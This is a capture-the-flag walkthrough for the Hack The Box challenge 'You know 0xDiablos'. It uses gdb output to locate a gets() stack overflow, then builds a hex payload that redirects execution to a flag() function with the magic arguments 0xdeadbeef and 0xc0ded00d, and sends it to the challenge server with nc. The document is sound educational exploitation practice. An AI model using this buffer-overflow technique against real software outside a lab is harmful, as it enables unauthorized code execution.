Walkthrough – Hack The Box Challenge: You know 0xDiablos

This is a walkthrough of the You know 0xDiablos Hack The Box challenge. The challenge is rated as Easy, and is an example of a simple buffer overflow vulnerability.

Tools

The following tools are used in this walkthrough:

Getting Started

For this challenge we are provided with a server IP address and port to exploit along with a file to download an analyze. After downloading and unpacking the file called vuln, we can see it’s a binary executable for 32bit x86 Linux systems:

# file ./vuln
./vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=ab7f19bb67c16ae453d4959fba4e6841d930a6dd, for GNU/Linux 3.2.0, not stripped

So, if we try running the file (after making it executable) we find that it prints a message, waits for input from the user, then echoes the input back to the screen:

# ./vuln
You know who are 0xDiablos: 
hello
hello

And if we use telnet to connect to the server:port provided, the behaviour is similar:

# telnet <server> <port>
Trying <server>...
Connected to <server>.
Escape character is '^]'.
You know who are 0xDiablos: 
hello
hello
Connection closed by foreign host.

From this we can assume that the executable we’ve downloaded is the same as the one hosted on the remote server. Therefore we can analyze the local file and test potential exploits; and once we’ve perfected it, exploit the remote server in a single attempt. This is useful, since if we were hammering the remote server with multiple attempts to find a vulnerability, it could alert them of our efforts and they could take action to prevent us from progressing further.

Taking a Look Inside

So, let’s take a look under the hood of the executable. We’ll use gdb (the GNU Project Debugger) to disassemble vuln and inspect how it works:

# gdb ./vuln
GNU gdb (Debian 13.1-2) 13.1
Copyright (C) 2023 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)

Tip: By default gdb uses AT&T assembly syntax. I will be using Intel syntax in this document. To change modes for the current session, enter the following command after starting gdb: set disassembly-flavor intel

To set Intel syntax as the default mode for future sessions, you can add the line in your ~/.gbdinit. This will be read each time gdb is run.

Let’s take a look at the functions in vuln by using the info functions command:

(gdb) info functions
All defined functions:

Non-debugging symbols:
0x08049000  _init
0x08049030  printf@plt
0x08049040  gets@plt
0x08049050  fgets@plt
0x08049060  getegid@plt
0x08049070  puts@plt
0x08049080  exit@plt
0x08049090  __libc_start_main@plt
0x080490a0  setvbuf@plt
0x080490b0  fopen@plt
0x080490c0  setresgid@plt
0x080490d0  _start
0x08049110  _dl_relocate_static_pie
0x08049120  __x86.get_pc_thunk.bx
0x08049130  deregister_tm_clones
0x08049170  register_tm_clones
0x080491b0  __do_global_dtors_aux
0x080491e0  frame_dummy
0x080491e2  flag
0x08049272  vuln
0x080492b1  main
0x08049330  __libc_csu_init
0x08049390  __libc_csu_fini
0x08049391  __x86.get_pc_thunk.bp
0x08049398  _fini

From this we can see the following user functions might be of interest:

  • 0x080491e0 frame_dummy
  • 0x080491e2 flag
  • 0x08049272 vuln
  • 0x080492b1 main

First, let’s inspect the main function, since that’s the user code starts when running the executable. We’ll use the disass (disassemble) function to do this:

(gdb) disass main
Dump of assembler code for function main:
   0x080492b1 <+0>:     lea    ecx,[esp+0x4]
   0x080492b5 <+4>:     and    esp,0xfffffff0
   0x080492b8 <+7>:     push   DWORD PTR [ecx-0x4]
   0x080492bb <+10>:    push   ebp
   0x080492bc <+11>:    mov    ebp,esp
   0x080492be <+13>:    push   ebx
   0x080492bf <+14>:    push   ecx
   0x080492c0 <+15>:    sub    esp,0x10
   0x080492c3 <+18>:    call   0x8049120 <__x86.get_pc_thunk.bx>
   0x080492c8 <+23>:    add    ebx,0x2d38
   0x080492ce <+29>:    mov    eax,DWORD PTR [ebx-0x4]
   0x080492d4 <+35>:    mov    eax,DWORD PTR [eax]
   0x080492d6 <+37>:    push   0x0
   0x080492d8 <+39>:    push   0x2
   0x080492da <+41>:    push   0x0
   0x080492dc <+43>:    push   eax
   0x080492dd <+44>:    call   0x80490a0 <setvbuf@plt>
   0x080492e2 <+49>:    add    esp,0x10
   0x080492e5 <+52>:    call   0x8049060 <getegid@plt>
   0x080492ea <+57>:    mov    DWORD PTR [ebp-0xc],eax
   0x080492ed <+60>:    sub    esp,0x4
   0x080492f0 <+63>:    push   DWORD PTR [ebp-0xc]
   0x080492f3 <+66>:    push   DWORD PTR [ebp-0xc]
   0x080492f6 <+69>:    push   DWORD PTR [ebp-0xc]
   0x080492f9 <+72>:    call   0x80490c0 <setresgid@plt>
   0x080492fe <+77>:    add    esp,0x10
   0x08049301 <+80>:    sub    esp,0xc
   0x08049304 <+83>:    lea    eax,[ebx-0x1fc8]
   0x0804930a <+89>:    push   eax
   0x0804930b <+90>:    call   0x8049070 <puts@plt>
   0x08049310 <+95>:    add    esp,0x10
   0x08049313 <+98>:    call   0x8049272 <vuln>
   0x08049318 <+103>:   mov    eax,0x0
   0x0804931d <+108>:   lea    esp,[ebp-0x8]
   0x08049320 <+111>:   pop    ecx
   0x08049321 <+112>:   pop    ebx
   0x08049322 <+113>:   pop    ebp
   0x08049323 <+114>:   lea    esp,[ecx-0x4]
   0x08049326 <+117>:   ret
End of assembler dump.

Let’s take a closer look at some of the call instructions. At 0x0804930b there is a call to puts, which we can assume prints the “You know who…” message. Then at 0x08049313 there is a call to a user function, vuln. So let’s look at the vuln function:

(gdb) disass vuln
Dump of assembler code for function vuln:
   0x08049272 <+0>:     push   ebp
   0x08049273 <+1>:     mov    ebp,esp
   0x08049275 <+3>:     push   ebx
   0x08049276 <+4>:     sub    esp,0xb4
   0x0804927c <+10>:    call   0x8049120 <__x86.get_pc_thunk.bx>
   0x08049281 <+15>:    add    ebx,0x2d7f
   0x08049287 <+21>:    sub    esp,0xc
   0x0804928a <+24>:    lea    eax,[ebp-0xb8]
   0x08049290 <+30>:    push   eax
   0x08049291 <+31>:    call   0x8049040 <gets@plt>
   0x08049296 <+36>:    add    esp,0x10
   0x08049299 <+39>:    sub    esp,0xc
   0x0804929c <+42>:    lea    eax,[ebp-0xb8]
   0x080492a2 <+48>:    push   eax
   0x080492a3 <+49>:    call   0x8049070 <puts@plt>
   0x080492a8 <+54>:    add    esp,0x10
   0x080492ab <+57>:    nop
   0x080492ac <+58>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x080492af <+61>:    leave
   0x080492b0 <+62>:    ret
End of assembler dump.

Here we see the call to gets at 0x08049291 then the call to puts at 0x080492a3, which we can assume are the prompt for and echo of the user input. Importantly, prior to the call to gets we see the setup of the variable where the user input will go. The buffer size reserved for the variable is defined as 180 characters (0xb4 = 180). This seems like something we can try to exploit.

Trying to Break It

For out test, let’s create a text file called input.txt with 200 A’s in it then pipe the file in as input to the executable. This will fill up the 180 byte buffer and beyond. We can do this right from gdb by using the run command:

(gdb) run < input.txt
Starting program: /root/vuln < input.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

The result is a segmentation fault and we can see that the error occurred at 0x41414141 (note that the ASCII code for an A is 0x41). This looks promising, since we should be able to put an arbitrary address somewhere into our input to cause the program to execute code at the given address.

Let’s verify that the buffer overflow is happening where we assumed by running the command again, but first let’s set a breakpoint at the start of the vuln function by using the break command:

(gdb) break *vuln
Breakpoint 1 at 0x8049272

And when we run the executable with the piped input again, the execution will stop at the start of the vuln function and a little arrow (=>) shows where we are in the execution:

(gdb) run < input.txt
Starting program: /root/vuln < input.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
You know who are 0xDiablos:

Breakpoint 1, 0x08049272 in vuln ()
(gdb) disass vuln
Dump of assembler code for function vuln:
=> 0x08049272 <+0>:     push   ebp
   0x08049273 <+1>:     mov    ebp,esp
   0x08049275 <+3>:     push   ebx
   0x08049276 <+4>:     sub    esp,0xb4
   0x0804927c <+10>:    call   0x8049120 <__x86.get_pc_thunk.bx>
   0x08049281 <+15>:    add    ebx,0x2d7f
   0x08049287 <+21>:    sub    esp,0xc
   0x0804928a <+24>:    lea    eax,[ebp-0xb8]
   0x08049290 <+30>:    push   eax
   0x08049291 <+31>:    call   0x8049040 <gets@plt>
   0x08049296 <+36>:    add    esp,0x10
   0x08049299 <+39>:    sub    esp,0xc
   0x0804929c <+42>:    lea    eax,[ebp-0xb8]
   0x080492a2 <+48>:    push   eax
   0x080492a3 <+49>:    call   0x8049070 <puts@plt>
   0x080492a8 <+54>:    add    esp,0x10
   0x080492ab <+57>:    nop
   0x080492ac <+58>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x080492af <+61>:    leave
   0x080492b0 <+62>:    ret
End of assembler dump.

Then we’ll step through the code using the ni (next instruction) command in gdb until we hit the segmentation fault:

Tip: Pressing enter with no command in gdb will execute the previous command again. This way we only have to enter the ni command once, and then simply press enter to execute subsequent instructions.

(gdb) ni
0x08049273 in vuln ()
(gdb)
0x08049275 in vuln ()
(gdb)
0x08049276 in vuln ()
(gdb)
0x0804927c in vuln ()
(gdb)
0x08049281 in vuln ()
(gdb)
0x08049287 in vuln ()
(gdb)
0x0804928a in vuln ()
(gdb)
0x08049290 in vuln ()
(gdb)
0x08049291 in vuln ()
(gdb)
0x08049296 in vuln ()
(gdb)
0x08049299 in vuln ()
(gdb)
0x0804929c in vuln ()
(gdb)
0x080492a2 in vuln ()
(gdb)
0x080492a3 in vuln ()
(gdb)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0x080492a8 in vuln ()
(gdb)
0x080492ab in vuln ()
(gdb)
0x080492ac in vuln ()
(gdb)
0x080492af in vuln ()
(gdb)
0x080492b0 in vuln ()
(gdb)
0x41414141 in ?? ()
(gdb)

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

We see that the last “real” command we execute is at 0x080492b0 which is the ret instruction. This means that we clobbered the return address for the call to the vuln function from main with our input.

So, let’s back up a bit to look at the memory before and after we clobber it. We’ll keep the breakpoint in place and re-run the application and look at the stack frame with the info frame command:

(gdb) run < input.txt
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/vuln < input.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
You know who are 0xDiablos:

Breakpoint 1, 0x08049272 in vuln ()
(gdb) info frame
Stack level 0, frame at 0xffffd460:
 eip = 0x8049272 in vuln; saved eip = 0x8049318
 called by frame at 0xffffd490
 Arglist at 0xffffd458, args:
 Locals at 0xffffd458, Previous frame's sp is 0xffffd460
 Saved registers:
  eip at 0xffffd45c
(gdb)

At this point we are starting in the vuln function and the stack frame shows the saved eip as 0x8049318. This is the address we are to return to after completing the function. If we look at the current value of the registers with the info registers command we can see where that address is stored:

(gdb) info registers
eax            0x1d                29
ecx            0xf7fa29b8          -134600264
edx            0x1                 1
ebx            0x804c000           134529024
esp            0xffffd45c          0xffffd45c
ebp            0xffffd478          0xffffd478
esi            0x8049330           134517552
edi            0xf7ffcb80          -134231168
eip            0x8049272           0x8049272 <vuln>
eflags         0x286               [ PF SF IF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99
(gdb)

This shows that esp (the stack pointer) is 0xffffd45c. If we look at what is stored at the address, it matches the saved eip we saw in the stack frame.

(gdb) x/8x $esp
0xffffd45c:     0x08049318      0xffffd4a0      0xf7fc1678      0xf7fc1b40
0xffffd46c:     0x00000000      0xffffd490      0xf7fa0ff4      0x00000000
(gdb)

If we step through the function until we get to the call to the gets for the input and then look at the same memory address, we’ll see that the address has indeed been clobbered with A’s:

(gdb) ni
0x08049273 in vuln ()
(gdb)
0x08049275 in vuln ()
(gdb)
0x08049276 in vuln ()
(gdb)
0x0804927c in vuln ()
(gdb)
0x08049281 in vuln ()
(gdb)
0x08049287 in vuln ()
(gdb)
0x0804928a in vuln ()
(gdb)
0x08049290 in vuln ()
(gdb)
0x08049291 in vuln ()
(gdb) 
0x08049296 in vuln ()
(gdb) x/8x 0xffffd45c
0xffffd45c:     0x41414141      0x41414141      0x41414141      0xf7fc1b00
0xffffd46c:     0x00000000      0xffffd490      0xf7fa0ff4      0x00000000
(gdb)

Looking for an Exploit

Ok, so now we know where to put an arbitrary address, but what address do we put in there? We still haven’t looked at the functions frame_dummy and flag, let’s take a look at each of these to see if we can use them in our exploit.

frame_dummy doesn’t appear to do much of anything:

(gdb) disass frame_dummy
Dump of assembler code for function frame_dummy:
   0x080491e0 <+0>:     jmp    0x8049170 <register_tm_clones>
End of assembler dump.

But the flag function has quite a bit to it:

(gdb) disass flag
Dump of assembler code for function flag:
   0x080491e2 <+0>:     push   ebp
   0x080491e3 <+1>:     mov    ebp,esp
   0x080491e5 <+3>:     push   ebx
   0x080491e6 <+4>:     sub    esp,0x54
   0x080491e9 <+7>:     call   0x8049120 <__x86.get_pc_thunk.bx>
   0x080491ee <+12>:    add    ebx,0x2e12
   0x080491f4 <+18>:    sub    esp,0x8
   0x080491f7 <+21>:    lea    eax,[ebx-0x1ff8]
   0x080491fd <+27>:    push   eax
   0x080491fe <+28>:    lea    eax,[ebx-0x1ff6]
   0x08049204 <+34>:    push   eax
   0x08049205 <+35>:    call   0x80490b0 <fopen@plt>
   0x0804920a <+40>:    add    esp,0x10
   0x0804920d <+43>:    mov    DWORD PTR [ebp-0xc],eax
   0x08049210 <+46>:    cmp    DWORD PTR [ebp-0xc],0x0
   0x08049214 <+50>:    jne    0x8049232 <flag+80>
   0x08049216 <+52>:    sub    esp,0xc
   0x08049219 <+55>:    lea    eax,[ebx-0x1fec]
   0x0804921f <+61>:    push   eax
   0x08049220 <+62>:    call   0x8049070 <puts@plt>
   0x08049225 <+67>:    add    esp,0x10
   0x08049228 <+70>:    sub    esp,0xc
   0x0804922b <+73>:    push   0x0
   0x0804922d <+75>:    call   0x8049080 <exit@plt>
   0x08049232 <+80>:    sub    esp,0x4
   0x08049235 <+83>:    push   DWORD PTR [ebp-0xc]
   0x08049238 <+86>:    push   0x40
   0x0804923a <+88>:    lea    eax,[ebp-0x4c]
   0x0804923d <+91>:    push   eax
   0x0804923e <+92>:    call   0x8049050 <fgets@plt>
   0x08049243 <+97>:    add    esp,0x10
   0x08049246 <+100>:   cmp    DWORD PTR [ebp+0x8],0xdeadbeef
   0x0804924d <+107>:   jne    0x8049269 <flag+135>
   0x0804924f <+109>:   cmp    DWORD PTR [ebp+0xc],0xc0ded00d
   0x08049256 <+116>:   jne    0x804926c <flag+138>
   0x08049258 <+118>:   sub    esp,0xc
   0x0804925b <+121>:   lea    eax,[ebp-0x4c]
   0x0804925e <+124>:   push   eax
   0x0804925f <+125>:   call   0x8049030 <printf@plt>
   0x08049264 <+130>:   add    esp,0x10
   0x08049267 <+133>:   jmp    0x804926d <flag+139>
   0x08049269 <+135>:   nop
   0x0804926a <+136>:   jmp    0x804926d <flag+139>
   0x0804926c <+138>:   nop
   0x0804926d <+139>:   mov    ebx,DWORD PTR [ebp-0x4]
   0x08049270 <+142>:   leave
   0x08049271 <+143>:   ret
End of assembler dump.

Now, let’s edit our input.txt file to put the starting address of the flag function at the address where it will be picked up as the saved eip.

Tip: Intel uses little endian memory storage. So to store the address 0x080491e2, we would store the value e2910408 into memory.

Tip: To edit files in vi in hex, used the command :%!xxd and :%!xxd -r to go back to normal mode.

00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000010: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000020: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000030: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000040: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000050: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000060: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000070: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000080: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000090: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
000000a0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
000000b0: 4141 4141 4141 4141 4141 4141 e291 0408  AAAAAAAAAAAA....
000000c0: 4141 4141 4141 4141 4141 4141 0a         AAAAAAAAAAAA.

If we re-run with the modified input.txt file, we see that the application does enter the flag function and continues to run until completion.

(gdb) run < input.txt
Starting program: /root/vuln < input.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
You know who are 0xDiablos:

Breakpoint 1, 0x08049272 in vuln ()
(gdb) ni
0x08049273 in vuln ()
(gdb)
0x08049275 in vuln ()
(gdb)
0x08049276 in vuln ()
(gdb)
0x0804927c in vuln ()
(gdb)
0x08049281 in vuln ()
(gdb)
0x08049287 in vuln ()
(gdb)
0x0804928a in vuln ()
(gdb)
0x08049290 in vuln ()
(gdb)
0x08049291 in vuln ()
(gdb)
0x08049296 in vuln ()
(gdb)
0x08049299 in vuln ()
(gdb)
0x0804929c in vuln ()
(gdb)
0x080492a2 in vuln ()
(gdb)
0x080492a3 in vuln ()
(gdb)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?AAAAAAAA
0x080492a8 in vuln ()
(gdb)
0x080492ab in vuln ()
(gdb)
0x080492ac in vuln ()
(gdb)
0x080492af in vuln ()
(gdb)
0x080492b0 in vuln ()
(gdb)
0x080491e2 in flag ()
(gdb)
0x080491e3 in flag ()
(gdb)
0x080491e5 in flag ()
(gdb)
0x080491e6 in flag ()
(gdb)
0x080491e9 in flag ()
(gdb)
0x080491ee in flag ()
(gdb)
0x080491f4 in flag ()
(gdb)
0x080491f7 in flag ()
(gdb)
0x080491fd in flag ()
(gdb)
0x080491fe in flag ()
(gdb)
0x08049204 in flag ()
(gdb)
0x08049205 in flag ()
(gdb)
0x0804920a in flag ()
(gdb)
0x0804920d in flag ()
(gdb)
0x08049210 in flag ()
(gdb)
0x08049214 in flag ()
(gdb)
0x08049216 in flag ()
(gdb)
0x08049219 in flag ()
(gdb)
0x0804921f in flag ()
(gdb)
0x08049220 in flag ()
(gdb)
Hurry up and try in on server side.
0x08049225 in flag ()
(gdb)
0x08049228 in flag ()
(gdb)
0x0804922b in flag ()
(gdb)
0x0804922d in flag ()
(gdb)

Taking a closer look at the sequence of instructions in the flag function, we see there is a call to fopen at 0x08049205 a compare of something at 0x08049210 then a call to puts at 0x08049220 and finally a call to exit at 0x0804922d. We’ll take a closer look at the call to fopen and see what’s going on there. It looks like eax points to the value that fopen uses to open a file, looking at what eax points at we see what looks like a filename:

(gdb) x/8c $eax
0x804a00a:      102 'f' 108 'l' 97 'a'  103 'g' 46 '.'  116 't' 120 'x' 116 't'

Let’s create a file called “flag.txt” in our working directory, re-run the application and see what happens. Now we see that the branch is taken after the compare at 0x08049210 and finally reaches a segmentation fault at the end of the flag function.

.
.
.
(gdb)
0x08049210 in flag ()
(gdb)
0x08049214 in flag ()
(gdb)
0x08049232 in flag ()
(gdb)
0x08049235 in flag ()
(gdb)
0x08049238 in flag ()
(gdb)
0x0804923a in flag ()
(gdb)
0x0804923d in flag ()
(gdb)
0x0804923e in flag ()
(gdb)
0x08049243 in flag ()
(gdb)
0x08049246 in flag ()
(gdb)
0x0804924d in flag ()
(gdb)
0x08049269 in flag ()
(gdb)
0x0804926a in flag ()
(gdb)
0x0804926d in flag ()
(gdb)
0x08049270 in flag ()
(gdb)
0x08049271 in flag ()
(gdb)
0x41414141 in ?? ()
(gdb)

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)

We’re not going to worry about the segfault right now, let’s just follow the instruction path. We see a call to fgets at 0x0804923e and then two more compares at 0x08049246 and 0x0804924f. We see a call to printf at 0x0804925f, but we don’t reach that instruction due to the branch after the compares. If we can get that printf to execute, this would likely give us the contents of the flag.txt file.

.
.
.
   0x08049246 <+100>:   cmp    DWORD PTR [ebp+0x8],0xdeadbeef
   0x0804924d <+107>:   jne    0x8049269 <flag+135>
   0x0804924f <+109>:   cmp    DWORD PTR [ebp+0xc],0xc0ded00d
   0x08049256 <+116>:   jne    0x804926c <flag+138>
.
.
.

So, we need the values pointed to by ebp+8 and ebp+12 to be 0xdeadbeef and 0xc0ded00d respectively. We can see that this points at the end of our long A’s input, so let’s tack these values on to the end of our input and see what happens (Remember to put them in little-endian format).

00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000010: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000020: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000030: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000040: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000050: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000060: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000070: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000080: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000090: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
000000a0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
000000b0: 4141 4141 4141 4141 4141 4141 e291 0408  AAAAAAAAAAAA....
000000c0: 4141 4141 efbe adde 0dd0 dec0 0a         AAAA.........

Running this input, we see that we’ve passed those branches and the printf at 0x0804925f is executed and the contents of flag.txt is displayed.

.
.
.
(gdb)
0x08049246 in flag ()
(gdb) x/16x $ebp
0xffffd45c:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd464:     0xef    0xbe    0xad    0xde    0x0d    0xd0    0xde    0xc0
(gdb) ni
0x0804924d in flag ()
(gdb)
0x0804924f in flag ()
(gdb)
0x08049256 in flag ()
(gdb)
0x08049258 in flag ()
(gdb)
0x0804925b in flag ()
(gdb)
0x0804925e in flag ()
(gdb)
0x0804925f in flag ()
(gdb)
test
0x08049264 in flag ()
(gdb)
0x08049267 in flag ()
(gdb)
0x0804926d in flag ()
(gdb)
0x08049270 in flag ()
(gdb)
0x08049271 in flag ()
(gdb)
0x41414141 in ?? ()
(gdb)

Now let’s try out exploit against the online version of the application to see if we can get it to give us the contents of the flag.txt file hosted on the remote server:

# echo "$(cat input.txt)" | nc <server> <port>
You know who are 0xDiablos: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?
HTB{<flag string>}
#

Huzzah! We can see the output from the remote system. We can now submit this flag to complete the challenge.


Posted

in

by